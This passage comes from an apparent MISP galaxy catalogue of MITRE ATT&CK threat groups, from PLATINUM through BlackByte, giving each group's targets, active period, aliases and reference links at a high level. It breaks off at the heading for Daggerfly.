https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

PLATINUM - G0068

[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="PLATINUM - G0068"*

PLATINUM - G0068 is also known as:

- PLATINUM

View relationships graph

PLATINUM - G0068 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"

Table 10855. Table References

Links

https://attack.mitre.org/groups/G0068
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

MuddyWater - G0069

[MuddyWater](https://attack.mitre.org/groups/G0069) is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS).(Citation: CYBERCOM Iranian Intel Cyber January 2022) Since at least 2017, [MuddyWater](https://attack.mitre.org/groups/G0069) has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="MuddyWater - G0069"*

MuddyWater - G0069 is also known as:

- MuddyWater
- Earth Vetala
- MERCURY
- Static Kitten
- Seedworm
- TEMP.Zagros
- Mango Sandstorm
- TA450

View relationships graph

MuddyWater - G0069 has relationships with:

- similar: misp-galaxy:threat-actor="MuddyWater" with estimative-language:likelihood-probability="likely"

Table 10856. Table References

Links
https://attack.mitre.org/groups/G0069
https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/
https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf
https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/
https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html
https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign
https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group
https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html

Leafminer - G0077

[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Leafminer - G0077"*

Leafminer - G0077 is also known as:

- Leafminer
- Raspite

Table 10857. Table References

Links
https://attack.mitre.org/groups/G0077
https://www.dragos.com/blog/20180802Raspite.html
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east

DarkHydrus - G0079

[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="DarkHydrus - G0079"*

DarkHydrus - G0079 is also known as:

- DarkHydrus

Table 10858. Table References

Links
https://attack.mitre.org/groups/G0079
https://pan-unit42.github.io/playbook_viewer/
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/

BlackTech - G0098

[BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia—particularly Taiwan, Japan, and Hong Kong—and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="BlackTech - G0098"*

BlackTech - G0098 is also known as:

- BlackTech
- Palmerworm

Table 10859. Table References

Links
https://attack.mitre.org/groups/G0098
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape

https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK

TA2541 - G1018

[TA2541](https://attack.mitre.org/groups/G1018) is a cybercriminal group that has been targeting the aviation, aerospace, transportation, manufacturing, and defense industries since at least 2017. [TA2541](https://attack.mitre.org/groups/G1018) campaigns are typically high volume and involve the use of commodity remote access tools obfuscated by crypters and themes related to aviation, transportation, and travel.(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="TA2541 - G1018"*

TA2541 - G1018 is also known as:

- TA2541

Table 10860. Table References

Links
https://attack.mitre.org/groups/G1018
https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/
https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight

FIN13 - G1016

[FIN13](https://attack.mitre.org/groups/G1016) is a financially motivated cyber threat group that has targeted the financial, retail, and hospitality industries in Mexico and Latin America, as early as 2016. [FIN13](https://attack.mitre.org/groups/G1016) achieves its objectives by stealing intellectual property, financial data, mergers and acquisition information, or PII.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN13 - G1016"*

FIN13 - G1016 is also known as:

- FIN13
- Elephant Beetle

Table 10861. Table References

Links
https://attack.mitre.org/groups/G1016

https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&hssc=147695848.1.1680005306711&hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d
https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico

UNC2452 - G0118

[UNC2452](https://attack.mitre.org/groups/G0118) is a suspected Russian state-sponsored threat group responsible for the 2020 SolarWinds software supply chain intrusion.(Citation: FireEye SUNBURST Backdoor December 2020) Victims of this campaign include government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East.(Citation: FireEye SUNBURST Backdoor December 2020) The group also compromised at least one think tank by late 2019.(Citation: Volexity SolarWinds)

The tag is: *misp-galaxy:mitre-intrusion-set="UNC2452 - G0118"*

UNC2452 - G0118 is also known as:

- UNC2452
- NOBELIUM
- StellarParticle
- Dark Halo

Table 10862. Table References

Links
https://attack.mitre.org/groups/G0118
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/

TA551 - G0127

[TA551](https://attack.mitre.org/groups/G0127) is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="TA551 - G0127"*

TA551 - G0127 is also known as:

- TA551
- GOLD CABIN
- Shathak

Table 10863. Table References

Links
https://attack.mitre.org/groups/G0127
https://unit42.paloaltonetworks.com/ta551-shathak-icedid/
https://unit42.paloaltonetworks.com/valak-evolution/
https://www.secureworks.com/research/threat-profiles/gold-cabin

CURIUM - G1012

[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group, first reported in September 2019 and active since at least July 2018, targeting IT service providers in the Middle East.(Citation: Symantec Tortoiseshell 2019) [CURIUM](https://attack.mitre.org/groups/G1012) has since invested in building relationships with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="CURIUM - G1012"*

CURIUM - G1012 is also known as:

- CURIUM
- Crimson Sandstorm
- TA456
- Tortoise Shell
- Yellow Liderc

Table 10864. Table References

Links
https://attack.mitre.org/groups/G1012
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain
https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021
https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html

Sidewinder - G0121

[Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Sidewinder - G0121"*

Sidewinder - G0121 is also known as:

- Sidewinder
- T-APT-04
- Rattlesnake

View relationships graph

Sidewinder - G0121 has relationships with:

- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-24" with estimative-language:likelihood-probability="likely"

Table 10865. Table References

Links
https://attack.mitre.org/groups/G0121
https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf
https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/
https://securelist.com/apt-trends-report-q1-2018/85280/

Windshift - G0112

[Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Windshift - G0112"*

Windshift - G0112 is also known as:

- Windshift
- Bahamut

Table 10866. Table References

Links
https://attack.mitre.org/groups/G0112
https://objective-see.com/blog/blog_0x3B.html
https://objective-see.com/blog/blog_0x3D.html
https://www.scribd.com/document/661837258/WINDSHIFT-summit-archive-1554718868

Metador - G1013

[Metador](https://attack.mitre.org/groups/G1013) is a suspected cyber espionage group that was first reported in September 2022. [Metador](https://attack.mitre.org/groups/G1013) has targeted a limited number of telecommunication companies, internet service providers, and universities in the Middle East and Africa. Security researchers named the group [Metador](https://attack.mitre.org/groups/G1013) based on the "I am meta" string in one of the group’s malware samples and the expectation of Spanish-language responses from C2 servers.(Citation: SentinelLabs Metador Sept 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Metador - G1013"*

Metador - G1013 is also known as:

- Metador

Table 10867. Table References

Links
https://assets.sentinelone.com/sentinellabs22/metador#page=1
https://attack.mitre.org/groups/G1013

Chimera - G0114

[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has

been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Chimera - G0114"*

Chimera - G0114 is also known as:

- Chimera

Table 10868. Table References

Links
https://attack.mitre.org/groups/G0114
https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf
https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/

Gelsemium - G0141

[Gelsemium](https://attack.mitre.org/groups/G0141) is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in East Asia and the Middle East.(Citation: ESET Gelsemium June 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Gelsemium - G0141"*

Gelsemium - G0141 is also known as:

- Gelsemium

Table 10869. Table References

Links
https://attack.mitre.org/groups/G0141
https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf

LuminousMoth - G1014

[LuminousMoth](https://attack.mitre.org/groups/G1014) is a Chinese-speaking cyber espionage group that has been active since at least October 2020. [LuminousMoth](https://attack.mitre.org/groups/G1014) has targeted high-profile organizations, including government entities, in Myanmar, the Philippines, Thailand, and other parts of Southeast Asia. Some security researchers have concluded there is a connection between [LuminousMoth](https://attack.mitre.org/groups/G1014) and [Mustang Panda](https://attack.mitre.org/groups/G0129) based on similar targeting and TTPs, as well as network infrastructure overlaps.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="LuminousMoth - G1014"*

LuminousMoth - G1014 is also known as:

- LuminousMoth

Table 10870. Table References

Links
https://attack.mitre.org/groups/G1014
https://securelist.com/apt-luminousmoth/103332/
https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited

MoustachedBouncer - G1019

[MoustachedBouncer](https://attack.mitre.org/groups/G1019) is a cyberespionage group that has been active since at least 2014 targeting foreign embassies in Belarus.(Citation: MoustachedBouncer ESET August 2023)

The tag is: *misp-galaxy:mitre-intrusion-set="MoustachedBouncer - G1019"*

MoustachedBouncer - G1019 is also known as:

- MoustachedBouncer

Table 10871. Table References

Links
https://attack.mitre.org/groups/G1019
https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/

ToddyCat - G1022

[ToddyCat](https://attack.mitre.org/groups/G1022) is a sophisticated threat group that has been active since at least 2020 using custom loaders and malware in multi-stage infection chains against government and military targets across Europe and Asia.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)

The tag is: *misp-galaxy:mitre-intrusion-set="ToddyCat - G1022"*

ToddyCat - G1022 is also known as:

- ToddyCat

Table 10872. Table References

Links
https://attack.mitre.org/groups/G1022

https://securelist.com/toddycat-keep-calm-and-check-logs/110696/
https://securelist.com/toddycat/106799/

APT5 - G1023

[APT5](https://attack.mitre.org/groups/G1023) is a China-based espionage actor that has been active since at least 2007 primarily targeting the telecommunications, aerospace, and defense industries throughout the U.S., Europe, and Asia. [APT5](https://attack.mitre.org/groups/G1023) has displayed advanced tradecraft and significant interest in compromising networking devices and their underlying software including through the use of zero-day exploits.(Citation: NSA APT5 Citrix Threat Hunting December 2022)(Citation: Microsoft East Asia Threats September 2023)(Citation: Mandiant Pulse Secure Zero-Day April 2021)(Citation: Mandiant Pulse Secure Update May 2021)(Citation: FireEye Southeast Asia Threat Landscape March 2015)(Citation: Mandiant Advanced Persistent Threats)

The tag is: *misp-galaxy:mitre-intrusion-set="APT5 - G1023"*

APT5 - G1023 is also known as:

- APT5
- Mulberry Typhoon
- MANGANESE
- BRONZE FLEETWOOD
- Keyhole Panda
- UNC2630

Table 10873. Table References

Links
https://attack.mitre.org/groups/G1023
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RW1aFyW
https://web.archive.org/web/20220122121143/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf
https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day
https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices
https://www.mandiant.com/resources/insights/apt-groups
https://www.secureworks.com/research/threat-profiles/bronze-fleetwood

CostaRicto - G0132

[CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="CostaRicto - G0132"*

CostaRicto - G0132 is also known as:

- CostaRicto

Table 10874. Table References

Links
https://attack.mitre.org/groups/G0132
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced

APT42 - G1044

[APT42](https://attack.mitre.org/groups/G1044) is an Iranian-sponsored threat group that conducts cyber espionage and surveillance.(Citation: Mandiant APT42-charms) The group primarily focuses on targets in the Middle East region, but has targeted a variety of industries and countries since at least 2015.(Citation: Mandiant APT42-charms) [APT42](https://attack.mitre.org/groups/G1044) starts cyber operations through spearphishing emails and/or the PINEFLOWER Android malware, then monitors and collects information from the compromised systems and devices.(Citation: Mandiant APT42-charms) Finally, [APT42](https://attack.mitre.org/groups/G1044) exfiltrates data using native features and open-source tools.(Citation: Mandiant APT42-untangling)

[APT42](https://attack.mitre.org/groups/G1044) activities have been linked to [Magic Hound](https://attack.mitre.org/groups/G0059) by other commercial vendors. While there are behavior and software overlaps between [Magic Hound](https://attack.mitre.org/groups/G0059) and [APT42](https://attack.mitre.org/groups/G1044), they appear to be distinct entities and are tracked as separate entities by their originating vendor.

The tag is: *misp-galaxy:mitre-intrusion-set="APT42 - G1044"*

APT42 - G1044 is also known as:

- APT42

Table 10875. Table References

Links
https://attack.mitre.org/groups/G1044
https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations

https://services.google.com/fh/files/misc/apt42-crooked-charms-cons-and-compromises.pdf

Akira - G1024

[Akira](https://attack.mitre.org/groups/G1024) is a ransomware variant and ransomware deployment entity active since at least March 2023.(Citation: Arctic Wolf Akira 2023) [Akira](https://attack.mitre.org/groups/G1024) uses compromised credentials to access single-factor external access mechanisms such as VPNs for initial access, then various publicly-available tools and techniques for lateral movement.(Citation: Arctic Wolf Akira 2023)(Citation: Secureworks GOLD SAHARA) [Akira](https://attack.mitre.org/groups/G1024) operations are associated with "double extortion" ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Technical analysis of [Akira](https://attack.mitre.org/software/S1129) ransomware indicates variants capable of targeting Windows or VMWare ESXi hypervisors and multiple overlaps with [Conti](https://attack.mitre.org/software/S0575) ransomware.(Citation: BushidoToken Akira 2023)(Citation: CISA Akira Ransomware APR 2024)(Citation: Cisco Akira Ransomware OCT 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="Akira - G1024"*

Akira - G1024 is also known as:

- Akira
- GOLD SAHARA
- PUNK SPIDER
- Howling Scorpius

Table 10876. Table References

Links
https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/
https://attack.mitre.org/groups/G1024
https://blog.bushidotoken.net/2023/09/tracking-adversaries-akira-another.html
https://blog.talosintelligence.com/akira-ransomware-continues-to-evolve/
https://unit42.paloaltonetworks.com/threat-assessment-howling-scorpius-akira-ransomware/
https://www.cisa.gov/sites/default/files/2024-04/aa24-109a-stopransomware-akira-ransomware_2.pdf
https://www.crowdstrike.com/adversaries/punk-spider/
https://www.secureworks.com/research/threat-profiles/gold-sahara

Confucius - G0142

[Confucius](https://attack.mitre.org/groups/G0142) is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities

between [Confucius](https://attack.mitre.org/groups/G0142) and [Patchwork](https://attack.mitre.org/groups/G0040), particularly in their respective custom malware code and targets.(Citation: TrendMicro Confucius APT Feb 2018)(Citation: TrendMicro Confucius APT Aug 2021)(Citation: Uptycs Confucius APT Jan 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Confucius - G0142"*

Confucius - G0142 is also known as:

- Confucius
- Confucius APT

Table 10877. Table References

Links
https://attack.mitre.org/groups/G0142
https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html
https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html
https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat

RedEcho - G1042

[RedEcho](https://attack.mitre.org/groups/G1042) is a People's Republic of China-related threat actor associated with long-running intrusions in Indian critical infrastructure entities. [RedEcho](https://attack.mitre.org/groups/G1042) overlaps with various other PRC-linked threat groups, such as [APT41](https://attack.mitre.org/groups/G0096), and is linked to [ShadowPad](https://attack.mitre.org/software/S0596) malware use through shared infrastructure.(Citation: RecordedFuture RedEcho 2021)(Citation: RecordedFuture RedEcho 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="RedEcho - G1042"*

RedEcho - G1042 is also known as:

- RedEcho

Table 10878. Table References

Links
https://attack.mitre.org/groups/G1042
https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf
https://go.recordedfuture.com/hubfs/reports/ta-2022-0406.pdf

Windigo - G0124

The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Windigo - G0124"*

Windigo - G0124 is also known as:

- Windigo

Table 10879. Table References

Links
https://attack.mitre.org/groups/G0124
https://security.web.cern.ch/advisories/windigo/windigo.shtml
https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/

HAFNIUM - G0125

[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. [HAFNIUM](https://attack.mitre.org/groups/G0125) has targeted remote management tools and cloud software for intial access and has demonstrated an ability to quickly operationalize exploits for identified vulnerabilities in edge devices.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)(Citation: Microsoft Silk Typhoon MAR 2025)

The tag is: *misp-galaxy:mitre-intrusion-set="HAFNIUM - G0125"*

HAFNIUM - G0125 is also known as:

- HAFNIUM
- Operation Exchange Marauder
- Silk Typhoon

Table 10880. Table References

Links
https://attack.mitre.org/groups/G0125

https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://www.microsoft.com/en-us/security/blog/2025/03/05/silk-typhoon-targeting-it-supply-chain/
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

Higaisa - G0126

[Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Higaisa - G0126"*

Higaisa - G0126 is also known as:

- Higaisa

Table 10881. Table References

Links
https://attack.mitre.org/groups/G0126
https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/
https://www.zscaler.com/blogs/security-research/return-higaisa-apt

Malteiro - G1026

[Malteiro](https://attack.mitre.org/groups/G1026) is a financially motivated criminal group that is likely based in Brazil and has been active since at least November 2019. The group operates and distributes the [Mispadu](https://attack.mitre.org/software/S1122) banking trojan via a Malware-as-a-Service (MaaS) business model. [Malteiro](https://attack.mitre.org/groups/G1026) mainly targets victims throughout Latin America (particularly Mexico) and Europe (particularly Spain and Portugal).(Citation: SCILabs Malteiro 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Malteiro - G1026"*

Malteiro - G1026 is also known as:

- Malteiro

Table 10882. Table References

Links
https://attack.mitre.org/groups/G1026
https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/

UNC788 - G1029

[UNC788](https://attack.mitre.org/groups/G1029) is a group of hackers from Iran that has targeted people in the Middle East.(Citation: Meta Adversarial Threat Report 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="UNC788 - G1029"*

UNC788 - G1029 is also known as:

- UNC788

Table 10883. Table References

Links
https://about.fb.com/wp-content/uploads/2022/04/Meta-Quarterly-Adversarial-Threat-Report_Q1-2022.pdf
https://attack.mitre.org/groups/G1029

ZIRCONIUM - G0128

[ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="ZIRCONIUM - G0128"*

ZIRCONIUM - G0128 is also known as:

- ZIRCONIUM
- APT31
- Violet Typhoon

Table 10884. Table References

Links
https://attack.mitre.org/groups/G0128
https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

https://research.checkpoint.com/2021/the-story-of-jian/

UNC3886 - G1048

[UNC3886](https://attack.mitre.org/groups/G1048) is a China-nexus cyberespionage group that has been active since at least 2022, targeting defense, technology, and telecommunication organizations located in the United States and the Asia-Pacific-Japan (APJ) regions. [UNC3886](https://attack.mitre.org/groups/G1048) has displayed a deep understanding of edge devices and virtualization technologies through the exploitation of zero-day vulnerabilities and the use of novel malware families and utilities.(Citation: Mandiant Fortinet Zero Day)(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)

The tag is: *misp-galaxy:mitre-intrusion-set="UNC3886 - G1048"*

UNC3886 - G1048 is also known as:

- UNC3886

Table 10885. Table References

Links
https://attack.mitre.org/groups/G1048
https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/
https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem

BlackByte - G1043

[BlackByte](https://attack.mitre.org/groups/G1043) is a ransomware threat actor operating since at least 2021. [BlackByte](https://attack.mitre.org/groups/G1043) is associated with several versions of ransomware also labeled [BlackByte Ransomware](https://attack.mitre.org/software/S1180). [BlackByte](https://attack.mitre.org/groups/G1043) ransomware operations initially used a common encryption key allowing for the development of a universal decryptor, but subsequent versions such as [BlackByte 2.0 Ransomware](https://attack.mitre.org/software/S1181) use more robust encryption mechanisms. [BlackByte](https://attack.mitre.org/groups/G1043) is notable for operations targeting critical infrastructure entities among other targets across North America.(Citation: FBI BlackByte 2022)(Citation: Picus BlackByte 2022)(Citation: Symantec BlackByte 2022)(Citation: Microsoft BlackByte 2023)(Citation: Cisco BlackByte 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="BlackByte - G1043"*

BlackByte - G1043 is also known as:

- BlackByte
- Hecamede

Table 10886. Table References

Links

https://attack.mitre.org/groups/G1043
https://blog.talosintelligence.com/blackbyte-blends-tried-and-true-tradecraft-with-newly-disclosed-vulnerabilities-to-support-ongoing-attacks/
https://www.ic3.gov/CSA/2022/220211.pdf
https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/
https://www.picussecurity.com/resource/ttps-used-by-blackbyte-ransomware-targeting-critical-infrastructure
https://www.security.com/threat-intelligence/blackbyte-exbyte-ransomware

Daggerfly - G1034

